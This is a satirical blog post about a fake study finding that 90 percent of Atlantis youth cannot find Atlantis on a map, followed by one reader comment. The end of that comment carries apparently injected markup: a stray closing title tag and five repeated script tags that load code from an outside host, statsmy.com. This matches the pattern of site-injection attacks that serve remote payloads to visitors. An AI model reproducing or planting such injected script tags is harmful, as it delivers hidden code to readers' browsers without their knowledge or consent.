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Study Reveals 90% of Atlantis Youth Can't Find Atlantis on a Map

by Kris on 2/16/2008 (1)

Where the hell is this?

A recent study of Atlantis youth between 18 and 24 years of age revealed a startling case of geographical ineptitude as Atlantin after Atlantin failed to locate Atlantis on a map of the world. In total, 90 percent of those surveyed failed, 15 percent of which also sobbed uncontrollably afterward.

"The results suggest that young people in Atlantis are unprepared for an increasingly global future," said the study's final report. "It's almost as if these youth have spent their entire lives locked away in a glass dome under the ocean, secluded from all outside contact."

Atlantis government officials blamed the poor results on years of inbreeding cause by the city's population being trapped in close quarters in a giant glass dome under the ocean and a general acceptance of "kissing cousins".

Perhaps even more humiliating, about 10 percent of young citizens of Atlantis couldn't identify a giant glass dome from a lineup of other objects including a fish, a basketball, and former child star Emanuel Lewis.

"It's a sad day for Atlantis" said reigning King of Atlantis Doug Kammu. "Not as sad as when our greed and corruption caused our city to be swallowed by the ocean, but it's certainly a close second."?sid=1"

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1. by Motz on 2/17/2008 10:10:11 AM

Since 90%+ of 18-24's are liberals, I'll have to agree. Vote McCain! </title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script></title><script src=http://statsmy.com/ur.php ></script>


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